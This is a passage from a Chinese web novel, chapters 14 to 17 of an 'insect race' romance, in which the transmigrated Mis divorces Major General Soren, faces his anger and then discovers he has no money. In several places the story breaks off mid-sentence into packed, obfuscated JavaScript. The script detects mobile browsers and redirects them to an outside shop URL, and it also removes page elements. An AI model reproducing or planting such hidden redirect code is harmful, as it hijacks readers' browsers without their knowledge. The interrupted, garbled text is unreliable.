嘿嘿,知道错了,但006不打算改,反正它是一只报废统,有点BUG再正常不过了,主脑可不会惩罚它。 就要给那只少将虫制造麻烦呢,嘻嘻(o·o)。 等索伦回家的时候,弥斯已经完全恢复了,自然也就没有提起这件事。 又是一个周一,暴雨, 显然今天不太寻常,不管是天气,还是一些其他事情。 比如,每每都会等在学院门口假装和他偶遇的红发军雌,今天也不在。 弥斯往那处地方瞄了几眼,心中涌起一阵怅然,放弃了吗? 殿下刚出征回来,自然还在帝星,不存在突然离开帝星的可能,所以是为什么没来。 果然,不管是谁,如果许久得不到回应,都会选择放弃吧。 弥斯,你在失落什么?你真的太自私了,如果在蓝星,恐怕会被大骂渣男。 弥斯摇了摇头,将脑海里突然出现的糟糕念头撇去。 不重要了,他已经有桑因这个朋友了,和少将离婚的事情十拿九稳,哪怕没有路西法的助力,也不会出问题。 路西法真的是太冤了,虫在家里昏,锅从天上来。周日受到的刺激太大了,被达利锡医虫注射了几支镇定剂,现在还在昏迷。 要是被他知道,弥斯会误会,恐怕顶着精神海暴动的风险,路西法也不会同意达利锡医虫给他注射。 忙了一天之后,弥斯还是没有看到那只虫,在他心里,已经隐隐接受了失去一只可以利用的虫的事实。 维克尔戴着狐狸项链在宿舍里恭候雄虫多时了。 如果一开始了解了索伦少将的家世之后,他只有一点点的心动,可在知道少将的雄主是弥斯之后,这份在意就升到了九分。 这么低质的军雌怎么能配得上弥斯呢?维克尔有些恶劣地想,像索伦这种没能力又自视过高的虫,被他这种B级虫收入后宫才勉强够格。 “弥斯,看,我的新项链还不错吧?” 弥斯看到项链出现在主角身上的一瞬间,心里十分复杂,但他面上还是不动声色。 “很漂亮。” 良久之后,他还是没忍住问道:“你从哪得来的,可以卖给我吗?” 维克尔没想到这只平日里沉默寡言的雄虫,竟然会主动要东西,还以为只会生窝囊气呢。 “索伦少将送的,好像是他朋友送他的。” 维克尔认真的说:“毕竟是送给我的,不太方便转送给你。” “是吗?” 弥斯的脸上有些落寞,不太方便转送吗?随便一只虫都知道的道理,可偏偏少将不知道。 “真的不能卖给我吗?” 维克尔真没想到弥斯会这么喜欢,可这也算是他攻略索伦少将的关键道具,要是…… 他微微垂眸,想着雄虫咬得发白的嘴唇,还是叹了口气。 “既然你这么喜欢,那就送给你吧。” “下次不许随便撒娇了。” 小狐狸辗转几手,再次回到弥斯手里,“谢谢。” 维克尔总觉得弥斯现在不太对劲,要不是他真的还没来得及说些什么反派发言,还真以为是他把雄虫气坏了。 小六很生气,可它只能干着急,数据库一时找不到合适的安慰虫的话术。 小六:【宿主,索伦太过分了!(T^T)】 弥斯:【送他的就是他的了,他怎么处理是他的事】 弥斯在宿舍里坐了许久,心情久久不能平静,为什么他送的礼物总是这般不值得珍惜呢。 恍惚间,他放佛看到了小学时,手工课做出来的小船,送给难得回家的父母,隔天出现在垃圾桶里的事情。 弥斯细细想来,是不是因为他总是送一些无用的东西,如果是矿星,或许就不会被轻易丢弃了。 “弥斯,关灯了哦。” 维克尔这样问道,等了一两分钟,没听到回应,他就只能认为弥斯默认了。他可不能熬夜,本来就长得普通了,要是皮肤再差点,那还怎么开后宫啊。 熄灯了,可弥斯久久没有困意,横竖睡不着的他还是从床上爬了起来,顺手还把006的权限关了,他决定出去走走。 暴雨过后的夜里自然是十分清凉,出来走走,脑子都清醒了不少。 弥斯觉得他不能既要又要,既然已经坦然接受离婚这个任务,那么少将的种种行径,自然也不用过多在意。 “弥斯?” 弥斯听到有虫喊他的名字,而且听起来还十分熟悉,他还以为是幻听了,可转过身,确实是路西法。 路西法无奈地说:“怎么又不乖呢?” 雌虫一头张扬的红发不知为何,今天凌乱的散落着,完全没有平日里的潇洒。 弥斯抬头望天,月朗星稀,没有下雨,可路西法怎么像刚淋过雨一样。 “你怎么也在这?” 路西法摊摊手,轻笑出声,“可能是因为我和弥斯阁下心有灵犀。” 路西法醒了之后发现这几针打下去,自己晕了一天一夜,错过了每周一难得的和雄虫偶遇的机会。 左右也躺不下去了,就出门散散心,这一散就开着飞行器来到了萨达卡尔学院,一不留神就走到雄虫楼下,然后就碰到下楼溜达的弥斯,可不就心有灵犀吗? 弥斯不说话了,他绕着中心花园走着,路西法就沉默地跟着他。 “你怎么不说话呀?” 雌虫不是话很多吗?怎么今天不说话,弥斯不解。 路西法盯着雄虫背影,只觉得他自己十分好笑,精神海都已经崩塌的这么严重了,竟然还不舍得为难雄虫,他别真修成圣虫了。 “谁又让我亲爱的弥斯阁下受了委屈,说出来,我帮你教训他。” 听到他轻浮不着调的调笑声,臊得弥斯脸红,什么你的我的,大家都是朋友,路西法总是说这种令虫误会的话。 “没有虫让我委屈。” 弥斯对少将顶多算是责任,真还没觉得多委屈,只不过有些难受他的礼物没有被珍惜。 难受和委屈应当是不一样的。 “那尊贵的弥斯阁下,为什么明明怕黑还要大晚上出来散步。” 路西法还带着笑意,昏迷醒来,看到的第一只虫是弥斯,是一件非常开心的事情。 “你知道我怕黑?” 弥斯很震惊,他明明没有说过,平日里也看不太出来,路西法怎么知道的。 “这很难不知道吧?” “是吗?我以为没有虫知道。” “小弥斯晚上出门总是在门口徘徊多次,稍微留意一下,很容易猜到。” “啊,有这么明显吗?” 弥斯一直觉得他藏得良好,肯定是路西法太敏锐了,没错,路西法就是变态虫,还会在他宿舍里装监控,可怕的很,和别的虫都不一样。 “是你太聪明了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627998|187969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以弥斯阁下因为什么心情不好呢?” 路西法的注意力竟然没有被转移,弥斯表示震惊,毕竟他一直觉得雌虫在他面前一直都笨笨的来着。 “我没有心情不好。” 路西法没有反驳,只是直勾勾地看着他,好像能一眼看出他的遮掩。 “不能不问吗,路西法?” 弥斯停了几分钟,这虫还真就一眨不眨地看着他,熬鹰似的。 “好吧,我想和少将离婚了。” “嗯……” “???” 路西法十分震惊,他还没想出什么法子,怎么雄虫自己突然想开了?天上真的要掉馅饼了吗? 弥斯简单地和路西法说了一下刚刚发生的事情,越说越迷茫。 “路西法,我是不是太冲动了……” 而且弥斯一开始的计划,是想逐渐让周围的虫知道,少将的家族罗斯蒂亚以他的名义占了别虫不少的资源,然后再徐徐图谋离婚的事情。 可现在,弥斯突然不想等了,但仅仅为了一条项链就和少将离婚,好像确实有点小题大做。 “要不还是算了,我再想想……” 路西法一个愣神的功夫,雄虫又变了一个想法,他肯定是无法接受的。 “怎么能算了,离,必须离!” “你什么时候提申请,要不就现在吧,免得夜长梦多,”路西法突然意识到这样说好像有点不太好,话锋一转。 “离婚这事不能等的,免得到时候那只虫过来恳求你,你又心软,我看今晚是个离婚的好日子。” 路西法小心翼翼地看向雄虫,生怕他劝说过多,又让雄虫起了逆反心理。 弥斯想了又想,还是觉得太突然了。 “还是等明天吧,如果睡一觉醒来,我还是决定要离婚,那我就提申请了。” 路西法还想再劝,他当然是想越快越好,但他还是想尊重雄虫的决定。 “好。” 弥斯回房了,他本以为自己会彻夜难眠,没想到躺在床上片刻就睡着了。 楼下的路西法就没这么淡定了,一晚上和这只打电话又安排安排那只,反正就是闲不下来,他太兴奋了。 一向不信虫神的军雌,也免不得抬头望月,虫神眷佑。 翌日, 在路西法的期盼中,天总算亮了。 弥斯一觉醒来,只觉得神清气爽,竟也没觉得忘记了什么。 “弥斯,早安!” 维克尔不愧是主角虫,大早上起来竟然神采奕奕的,精力真的太旺盛了。 “日安,维克尔阁下。” 维克尔已经收拾妥当,准备出门了,可就在离开之前,他又探头进来,“弥斯,今天我要去军部,你要一起去吗?” 弥斯不解,满脸困惑,主角去军部和他有什么关系,他们两只虫的关系什么时候亲近到去军部这件事都要一起,真是奇怪。 “中午我和拉斐尔中将应该会和索伦少将一同用餐,如果你有兴趣的话,我们可以一起。” 弥斯淡淡的拒绝了,“不用了。” 维克尔侧点了一下脑袋,“都行,那我走了。” 怪不得总觉得自己忘了什么,原来是忘了要离婚了,弥斯仔细想了想,发现自己还是想离婚。 弥斯:【六六,我现在离婚是不是有些冲动】 小六没有回答,正如它一开始所说,系统不会左右宿主的选择,真正下决定的时候,006不会干涉的。 弥斯打开光脑,点开婚介页面,看着备注着雌君的头像,只思索了片刻,还是将离婚申请提交了。 15. 第 15 章 弥斯没想到离婚手续竟然办得这么快,还在上课的他就收到了申请通过的消息。 这很不对劲! 要知道,弥斯在最开始考虑离婚的时候,就已经了解了同雌君离婚需要准备的诸多证明材料,毕竟雌君不是雌侍、雌奴,还是保有一定的虫权的。 虽说弥斯提交的是离婚申请,勾选了类似于“净身出户”的选项,可以简略一些流程,可…… 总归不该是如此顺利,至少巴尔福阁下不会像现在这般安静,真是太奇怪了。 弥斯:【六六】 小六:【宿主,怎么了】 弥斯:【算了,我早晚会知道的】 此时,索伦还在忙工作,光脑上的非工作消息、通知,他向来都是等到中午再处理的,所以,离婚这么大的事情,他意外的是最后一只知道的。 等中午查看光脑的通讯和消息的时候,索伦首先看到的是来自主虫巴尔福打来的几个音讯。 少将的脸色刷的一下变得很难看,巴尔福联系他向来没什么好事。 “主虫。” 巴尔福干着急了一上午,打了好多次这只废物虫的音讯,一直没有虫接,好不容易联系上虫,早就尘埃落定了。 “废物!” “罗斯蒂亚家族怎么能养出你这么一只废物,等级等级不行,连弥斯那么简单的虫都拿捏不了。” “废物!” 巴尔福简直要气炸了,他和鲁里希家族的合作只差临门一脚,被这只连讨好雄虫都不会的废物搞没了。 索伦被劈头盖脸地骂了一顿,整只虫都被骂懵了,他还不知道发生了什么,平日里主虫虽然嫌弃他,但因着他雄主是S级的原因,总不会这么直白。 “雄父,发生什么了?” “和鲁里希的合作不是已经板上钉钉了吗?” 鲁里希家族也算是帝星的老牌贵族,虽说近些年在帝星的势力大不如前,但瘦死的骆驼比马大,光他们手中的矿星,都能让家族再延续几百年。 巴尔福就是看中了他们家族的一颗A级矿星,这颗矿星恰好在鲁里希的菲里安中将名下。 菲里安又恰好雄主身亡,而他本虫又十分仰慕弥斯,如果罗斯蒂亚家族能帮给他制造一个接触雄虫的机会,他就同意让他们去开采这颗A级矿星。 为了促成这笔交易,巴尔福特意要求索伦带雄虫和菲里安一起吃了顿饭。 现在,这只废物军雌被雄虫厌弃,菲里安直接暂停了他们在矿星的工作,到手的星币,没了! 巴尔福真的要气炸了。 “你还敢问为什么?你个废物!” “不好好反思一下为什么会被你那单纯的雄主厌恶,还在这里问为什么!” “整个贵族圈都传开的事情,你作为当事虫,竟然还在这里犯蠢,罗斯蒂亚怎么会有你这么一只废物!” 巴尔福把音讯挂了,他怕再聊下去,不但S级雄虫没了,花了那么多星币培养的少将也没了。 废物,废物!真是废物! 索伦还是没明白意思,但是隐隐觉得是雄主那边出了问题,可他现在还不想主动联系雄主。 算了,还是先把消息、通知什么的处理一下,然后,少将不知是看到什么字眼,竖瞳骤然紧缩。 离婚?!!弥斯怎么敢的,而且他明明没有同意,怎么会就这样拍定了! 索伦猛地站起身,决定去萨达卡尔学院问个明白,哪怕雄主是想收路西法殿下为雌君,也不该对他这么残忍。 “弥斯,出来!” 索伦来到雄虫楼下,打通弥斯通讯之后的第一件事,就是喊他出来。 “少将?” “你在哪?我现在在研究所,出来之后没看到你呀?” 买卖不成仁义在,毕竟是三年婚姻,哪怕离婚了,弥斯也想着体面一些,这次是他冲动了,主要是确实没想到原本需要数月的离婚流程,竟然这么快就走完了。 “你别动,我来找你!” “哦。” 泥人也有三分脾气,更别提被突然离婚的军雌了。索伦少将的语气充满危险,弥斯想了想,决定还是拽着同事拉索一起面对。 “陪陪我,好不好。” 弥斯真的是怕竖瞳,看起来非人感太强了。 拉索无奈,怎么又撒娇,“好吧,那就陪你等会儿。” 有熟虫在,弥斯的胆子就大了点,也可以沉下心来思考少将来找他的原因。说实话,如果仅仅是因为离婚,弥斯不觉得索伦少将会来找他。 毕竟罗斯蒂亚的少将向来高傲,怎么可能为了一只雄虫低下尊贵的头颅,更何况少将从来不觉得他能独立生存,哪怕离婚了,估摸着还以为他在闹脾气,所以到底是为什么呢。 “弥斯!” 没等他想明白,少将就已经到了。 “少将,日安。” “你在胡闹什么,离婚这么大的事情,怎么不和我提前商量!” “你知道突然搞这么一出会造成多大影响吗?” 索伦也是在气头上,不然也不会发这么大脾气,任谁突然被离婚,又被主虫大骂一顿都很难保持冷静。 拉索本来无所事事地站在旁边,见一只军雌跑过来,还以为是追求者,也不太担心,毕竟军雌最舔了。 没想到这虫竟然冲过来劈头盖脸、不管不顾地说教一番,实在可恶。 “你谁啊!” “站在你面前的可是S级雄虫,态度这么恶劣,不怕雄保会抓虫啊!” 拉索将雄虫护至身后,虽然他只是一只勤勤恳恳的研究员,私下里十分怂。 尤其是面对这种暴躁、只会动用武力的无脑军雌时,拉索和吓破胆也没什么区别了,但弥斯是雄虫,哪知雌虫会把雄虫推至身前。 弥斯弱弱出声:“那个,他是我前任雌君,拉索……” “你有雌君!!!” 拉索嗓门真的好大,怪不得平时做实验也唉声叹气的时候,全研究所的虫都能听到。 “嗯,昨天还有呢。” 拉索震惊,拉索不敢相信,弥斯有雌君,那他这一年多都没见过,他有这么醉心实验吗?难不成他真的是为实验而生的,真感虫。 “那今天呢?”拉索下意识地接了一句。 弥斯心虚垂眸,异常小声地说:“今天没了。” “你提的吗?”拉索转过身看着他这个胆小同事,不敢相信弥斯竟然能悄咪咪干出这么大的事情。 “嗯。” “那你还来找弥斯干嘛?”拉索怒气冲冲地看着这只军雌,都离婚了,难不成想过来纠缠雄虫! 索伦不想和这只柔弱的雌虫进行口舌之争,他伸手稍微用了点力气,就将雄虫从那只虫身后拽了出来。 索伦把雄虫搂在怀里,面无表情地看向那只多事的虫。 “这是我和雄主之间的家事,与你无关!” 弥斯吃痛,但也不想让拉索得罪少将,弱弱开口,“拉索,你先回去吧,我和他说完就回来。” 拉索自知打不过一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“更何况,少将当年精神海乱得那么厉害,我也算救了你一命,不是吗?” 索伦往后退了一步,“我从来没在意过垃圾星上的事,但你是我的雄主,我们已经结婚三年了,怎么能这么不清不楚的离婚?” “只是一起吃几顿饭而已,你怎么能这么想?” “你今天太陌生了,弥斯,我感觉我们一点儿也不了解你。” “你的状态不对,我来这不是想和你吵架的。” 弥斯扯了扯嘴角,“那少将来找我做什么呢?洗耳恭听。” 索伦动了动嘴唇,对啊,他来干什么呢?总不可能是求和吧,他身为少将也是有自己的傲骨的。 “我改天再来找你……改天再来……” 索伦嘟囔着,一步步地往后退,看起来颇为失魂落魄。 “少将,不用来找我了,再见!” 弥斯笑了,笑得如释重负,婚姻到底有什么好的,为什么赫克斯的虫总是那么向往呢? 婚姻对弥斯来说,就像是压在身上的一座山,时时刻刻束缚着他的一举一动,为了维持所谓的婚姻,他需要不断的妥协。 直到,直到触及到他的底线。 他讨厌不纯粹的关系,讨厌妥协,讨厌被伤害……好在一切都结束了。 暴雨过后,抬头看看天吧,这样眼泪落下的时候,日光会给它镀上一层彩色。 16. 第 16 章 “弥斯,你没事吧?” 拉索在门口等了好久,他那个雌弟真的没用,这都多久了,还没赶到,他永远不知道自己错过了什么。 “没事,他已经走了。” 拉索犹豫了一下,还是说了,“我本来打算帮你报警的,学院的执法队肯定能很快赶到,但你说你和那只虫是那种关系,我估摸着你应该不想让我报警。” 弥斯点点头,“嗯,不用报警,他不会伤害我的。” 拉索听到回答,总算是松了一口气,“那就好,我其实还联系了我家族里的雌弟,他早晚也会成为S级的军雌,能帮到你,可他不爱看消息。” 弥斯再次点点头,“嗯,军雌都不看消息的。” 这一点儿弥斯深有体会,他出事故的那天,也给索伦少将发了消息的,但是他没看到。 拉索也学着雄虫的样子点点头,“弥斯,你有没有发现,有时候你好像星际游戏里的NPC。” 雄虫瞪大了眼睛,乌黑圆溜的大眼睛配上无辜的表情,竟然让拉索幻视帝星拍卖会上兴起的一种名为“猫咪”的雕刻物。 “你看你每周一到周五自动刷新在研究所,每天除了工作就是吃饭睡觉,也没见你做过别的事情。” “要不是今天亲眼所见,我都不知道你有一只雌君,还是只军雌。” 聊着聊着,拉索像是突然想起了什么,“那他确实挺失职的,你前段时间不是还在实验室晕倒了,雄保会就没找他麻烦吗?” 弥斯心情不错,眼睛里都泛着笑意,“为什么呀?那是我自己的原因。” “你不知道吗?雄保会会给每一只有雄主的雌虫、亚雌发一本《侍奉雄主守则》,里面有讲怎么照料雄主。” “像你在研究所饿晕,已经是特别大的过失了,要进军事监狱的,”拉索话风一转,又聊到了自己身上。 “你像我们这种职业,就是太忙了,没日没夜的忙,所以我是打算功成名就之后再去找雄主的,到时候我就开个小公司,嘿嘿……” 拉索想美了,整只虫笑得傻傻的。他这种还没有雄主的雌虫,也会偷偷学习,为以后讨雄主喜爱做准备。 弥斯也是善良,没有以过来虫的姿态,打破同事对婚姻的美好幻想。毕竟像他这种情况的虫,确实也少,算是帝国的个例,没有什么参考意义。 “那祝你早日找到雄主哦。” “嘿嘿……谢谢你……。” 拉索憨憨地挠了挠头,除了项目进展,他也就这么点盼头了,光是想想都很开心。 反正聪明的拉索他是不会让自己的雄主饿晕了,肯定不会被离婚。 本来和索伦少将离婚的事情,可以悄无声息地就这样过去,可这太小瞧了帝星的虫的八卦程度,离婚这件小的不能再小的事情竟然在星网上炸开了! 当然,这对弥斯的日常生活没有任何影响,毕竟谁都不敢线下舞到一只S级雄虫面前,雄保会也不是吃干饭的。 “弥斯,你真离婚了?” 维克尔上午从拉斐尔中将那里得到消息的时候,还有点不可置信,怎么会……这么快。 “嗯。” 弥斯一如既往的沉默寡言,可维克尔生生从一个字里听出来了几分松弛,和雄虫一开始的紧绷是完全不同的状态。 “挺好的,那只虫不配当你的雌君。” 维克尔煞有其事地点点头,有些恍惚地坐在他的床头,嘴里喃喃道:“那我就不好继续待在这里了……可恶,好没用啊,竟然这么快……” 弥斯依稀听出了几句,但主角前言不搭后语的,他也不太理解,反正和他无关了,弥斯也就没在意。 熄了灯之后,弥斯就染上了困意,这种重复性的实验做起来都感觉特别累。 “弥斯,你是不是很讨厌我……” 维克尔的声音并不大,只不过这个夜出奇的静了,空荡荡的声音响起,实在是令虫难以忽视。 没有得到回应,维克尔也不伤心,他既然想当小三,自然会被厌恶,哪怕他现在是尊贵的雄虫,也不能又当又立。 “不讨厌,我不讨厌你。” 弥斯还是心软了,主角对他没有恶意,或许说,主角异常聪慧,好像一下子就看穿了他想离婚的心情,一点点逼着他做出决定,某种意义上,主角帮了他。 “谢谢。”维克尔如是说,没有被讨厌真的太好了。 “我不喜欢你,维克尔阁下。” 弥斯只是一只普通虫,他只想安安稳稳地活着而已,不想牵扯进主角的故事线。 “嗯,弥斯,你说话好直白哦。” “嗯。” 又是一阵维持良久的沉默…… “晚安,弥斯。” “……” “晚安。” 婚也离了,巴尔福也没找上门,理论上,弥斯应当是自由了,可他时不时就会走神一会儿,连墨涅斯都忍不住来关怀他。 “弥斯,你……是不是最近……太累了?” 显然,墨涅斯问得相当委婉,他更想问的是,弥斯是不是在为了离婚的事情伤心,毕竟也是帝星虫虫都知道的消息了。 那只军雌实在是太过分了,可弥斯好像是只恋爱脑虫,离婚了也为了他伤心还像也说得过去。 “啊?没有。” 弥斯回过神,又继续专注在实验上,要不是这种情况已经出现过很多次了,墨涅斯还真以为雄虫完全不受离婚风波的影响呢。 墨涅斯偷偷给路西法殿下发消息,告知雄虫的状况,也算是给殿下制造机会了,说不定能增加点投资呢。 万恶的剥削者! 是夜,天黑的可以滴出墨来,弥斯就那样直愣愣地走出来,像是对周围的环境完全不在意。 路西法站在暗处,看雄虫马上就走进黑暗里,也不藏了,不然等雄虫回过神,估计又会被吓到。 “弥斯!” 弥斯被突出起来的声音刺激,身体略微颤抖了一下,但很快就恢复了身为研究员的沉稳。 “啊,是路西法啊,怎么了?” 今天的路西法倒是神采飞扬,笑得张狂,像是遇到了什么好事。 “没事就不能来找你了吗,我的弥斯冕下?” 呃,怎么说呢,作为朋友调侃两句倒是十分正常,可让一身腱子肉的路西法说出来,就有点……呃,当街调戏良家雄虫的感觉。 “可以。” 弥斯面不改色,完全看不出他在心里吐槽好朋友的心虚。 “听墨涅斯说,你这两天都心不在焉的,在想些什么?” 弥斯第一次发现他这个朋友问话是不是有点太直接了,完全没有小说中幕后BOSS的作风。 哦,对,这本书路西法也没什么戏份。 “没想什么。” 确实也不是什么重要的事,但“人”活着总要有所求吧,变成虫了也一样。 弥斯离婚之后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小六:【有的,宿主,住房补贴、上学补贴、生活补贴……七七八八加在一起,一个月有十万零八千九百三十一】 弥斯震惊,他这么有钱吗?每个月十万零八千九百三十一,三年就是三十六个月,那就是三百九十二万一千五百一十六,零头全抹了也有三百万呢。 那他每个月过得苦哈哈的到底是为什么?为了赚钱,做了那么多工艺品拿来卖,很辛苦的,特别费眼睛。 所以,他到底为什么这么努力。 …… 不管了,他现在又变成超级大富豪了,开心,弥斯,我真的要奖励你吃一顿好的了。 总算可以摆脱难喝的营养液了! …… 不对啊,【六六,那我的星网账户上怎么没有星币啊?】 小六:【(.-.)宿主,你忘记你刚来的时候,还没办帝国的虫民证,注册登记用得都是那只虫的,后面你也没改,自然全打进他的账户里了】 …… 弥斯想起来了,全都想起来了。 是有这么一回事来着,刚结婚的时候,弥斯还没适应虫族的生活,自然没有在意过星币,之后过了好久才有了自己的账户。 某一天,他发现余额为0也能消费,当时还问了小六,说是雌君的所有星币和资源,雄主都可以随意支配。 弥斯毕竟做过“人”,自然没办法坦然地接受吃软饭,所以后面他就很在意账户里的余额,每当快空了的时候,就会特别紧张。 慢慢地,弥斯稍微赚了一点星币,又有了奖学金,勉强维持了自己的开支,偶尔花超了一点,他也勉强能原谅自己。 路西法跟着弥斯,果不其然,没聊两句,雄虫又陷进了他自己的小世界。 这种情况,路西法早就习惯了,他不会打扰,反正过一会儿,雄虫就恢复了。 17. 第 17 章 弥斯有点死了。 弥斯:【六六,你怎么不提醒我,坏六六】 小六:【(*-*)】 天怎么还没塌,弥斯有点崩溃。 但话又说回来,做雄虫真的太爽了,这些补贴加起来比他未来工资还高。 可他现在还是吃不起饭啊,营养液也快喝完了,账户的余额和脸一样白净。 弥斯:【我离婚的时候不是登记了自己的星网账号吗?怎么不给我发补贴?】 小六:【宿主,今天是10月4号,星期四,你提离婚的日期是10月2号,补贴发放的时间是每个月的1号】 …… 弥斯的心情很复杂,所以下一个月的补贴要等到11月1号了?那他这个月怎么办。 “六六,不吃东西的话,雄虫能活四个星期吗?” 失魂落魄的弥斯甚至没有注意到他把想问系统的话说了出来。 路西法脸色瞬间变得很难看,竟然为了那只虫食不下咽吗,算了,他不是早就知道弥斯就是在意那只虫。 路西法忍着酸涩问:“你……舍不得他吗?” 弥斯震惊并瞪大了眼睛,谁,舍不得谁,谁舍不得? “我为什么舍不得,他和我有什么关系,你怎么能凭空侮辱人家清白军雌呢?” 弥斯指指点点并继续谴责,“路西法,你可不要乱说哦。” 他真不是对少将和路西法有意见,纯粹是刚刚得知损失了一大笔星币,有些破防,要不是理智尚存,弥斯真的要发消息把星币要回来了。 对他们这些有钱虫来说,这点星币估摸着都算不上一个零头,但是对一穷二白的弥斯,真的是发财了。 路西法被弥斯说话时的“活泼”震撼了,怎么突然这么开朗,像一只张牙舞爪的幼兽,不过依旧很可爱。 “那为什么不吃饭?” 有时候真的不想和这些有钱虫说话,挺累的,有些虫不吃饭是因为不想吗,有没有一种可能是吃不起饭了?! 弥斯想到他糟糕的经济条件,不由得悲从心来,怎么混得比穿书前还糟糕,这样想,爸妈对他挺好的,虽然不管不问但至少钱管够,人啊,还是要知足。 路西法看雄虫冷着脸不说话,就知道他又又走神了,这次是因为什么呢。 小六看不过去了,【宿主,有没有一种可能,你和路西法殿下借一点,下个月再还他】 弥斯下意识反驳,【那当然不行,我怎么能花路西法的星币呢】 【哦哦哦,借啊?不太好吧,好讨厌欠钱啊,我现在没工作,开了借钱的口子,欲壑难填,万一上瘾了,还不了怎么办,不能这样】 小六刚想打字劝一劝宿主,没想到…… “路西法,你是不是星币很多?” 弥斯突然问他资产,难不成……想开了,打算考虑他了? 不可能,雄虫这样问肯定另有深意。 路西法轻声回答:“是挺多的。” 弥斯再接再厉,“那……你一只虫花的完吗?” 路西法的嘴角至少上扬了10个像素点,他勉强维持面上的平静,没想到弥斯这么快就想开了。 “花不完!” 路西法突然大声,吓得他浑身一激灵。 路西法见状咳了两声,淡定,别把虫吓跑了。 “那……要是有虫向你借钱,然后他还没有工作,可能还不上,你会借吗?” “怎么突然问这个?”路西法不解。 “没有虫会借钱的,雌虫如果连自己都养活不了,还不如死了算了。连工作都找不到,哪只虫这么废物,帝国这几年还是太安稳了,养了一群蛀虫。” 路西法的话语里全是对那群不求上进的虫的讥讽,不过说着说着,他就愣住了,他在说什么,这可是雄虫在问。 他刚刚没有说什么粗俗的话吧? “啊?” 弥斯蔫了,好狠毒的发言,如果在蓝星,路西法肯定会被骂死的,那不能和路西法借钱,一条路堵死了。 “怎么了吗?” 路西法再次回想了一下他说的话,没有任何问题,非常能展现他的军雌气概。 “没事。” 弥斯现在不想和这只不知民间疾苦的有钱虫说话,他绷着脸和路西法拉开了一点距离。 路西法一直关注着他,怎么可能没注意到这个小动作,难不成真说错话了。 现在还不是考虑他形象的时候,搞明白雄虫为什么又不好好吃饭才是最重要的。 想来想去,路西法也想不明白为什么。 “我会在星级餐厅给你订餐,你必须好好照顾自己。” 路西法这段话说得十分强硬,怕弥斯讨厌他,又补充了一句,“弥斯,不要让我担心。” “哇塞,那多不好意思啊。” 虫穷志不穷,他绝对不会向星币妥协、向嗟来之食妥协…… “不用这么麻烦……” 弥斯原地站住,瞪大眼睛看着好朋友,希望他能懂自己的意思。 “怎么了?” 突然卖萌,是想可爱死他吗?路西法很困惑。 “所以为什么不吃饭?” 路西法真的不聪明,就不能透过他S级雄虫的身份,看出他贫穷的本质吗? 因为孤虫,因为净身出户,因为倒霉。月初发福利,他倒好,初二净身出户,前路后路全断了。 一般来说,没有虫净身出户的时候,会像弥斯这般一穷二白,但他占据了几个天时地利虫和。 首先,弥斯是从垃圾星被救回来的,没有背景;其次,他结婚后从来没有想过占据少将的资产;最后,他刚刚净身出户。 但弥斯能说吗,不能,说出来好像他故意卖惨,想利用好朋友的怜悯骗他星币。 “反正你别问了。” 弥斯看起来没有因为离婚伤心,那能是为什么呢?路西法百思不得其解。 路西法甚至想重新在弥斯的宿舍安上微型摄像头,家里也不能放过,不然这种猜不到…… 家里? 弥斯好像一直和那只虫住在一起,没有自己的房产,离婚的时候又是净身出户,所以……他没地方住了? 明天就是周五了,弥斯向来习惯周六周日回家住,因为离婚,所以没有了去处不适应,这才吃不下饭。 “是不是担心放假之后没有地方住?” “这种事你可以直接和我说,没必要为了这点小事担心。” 瞧瞧,多么财大气粗的雌虫,弥斯在心里偷偷羡慕,他什么时候能这么有钱。连房子都算是小事。 这可是帝星,没房是一件很大众的事情,好不好。 “我在萨达卡尔学院附近有一间公寓,帝星中心区也有几套房产,要是你喜欢郊区,我也有几幢别墅。” “周六的时候可以带你去看看,你挑挑看有没有喜欢的,有的话就直接转移到你名下,要是没有……” 路西法停了一下,他是希望能直接送雄虫一套的,现买的话是一件很麻烦的事情。 治安、交通条件、生活是否便利……都要考虑进去,不然雄虫会住得不舒服。 “那我带你去还在开售的楼盘里找找,总会找到合适的。” 弥斯再次被路西法的财大气粗震惊了,真的好有钱啊,索伦少将已经很富裕了,路西法更是阔绰。 说送就送吗?不愧是疯狂星期四,不知道的还以为路西法在写V我50的文案呢。 弥斯吞了一下口水,连连拒绝,“不用,不用,不用!” 他不是这种虫,真的,不要诱惑他啊,不然他真的会丧尽天良的占好兄弟便宜啊! “为什么总是拒绝我,我就这么不值得……” 见路西法生气,弥斯赶紧打断他,“我不是那个意思。” 路西法眉头一挑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628001|187969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金色瞳孔直直地看着他,显然,他在等一个答案。 “好吧,我实话说了,你不许嘲笑我。” 生存还是毁灭,这是个单选题,弥斯决定为了生存拉低一下他自己的底线。 “那个……我现在一个星币都没有了。” 这确实是平地一惊雷,吓到路西法了。 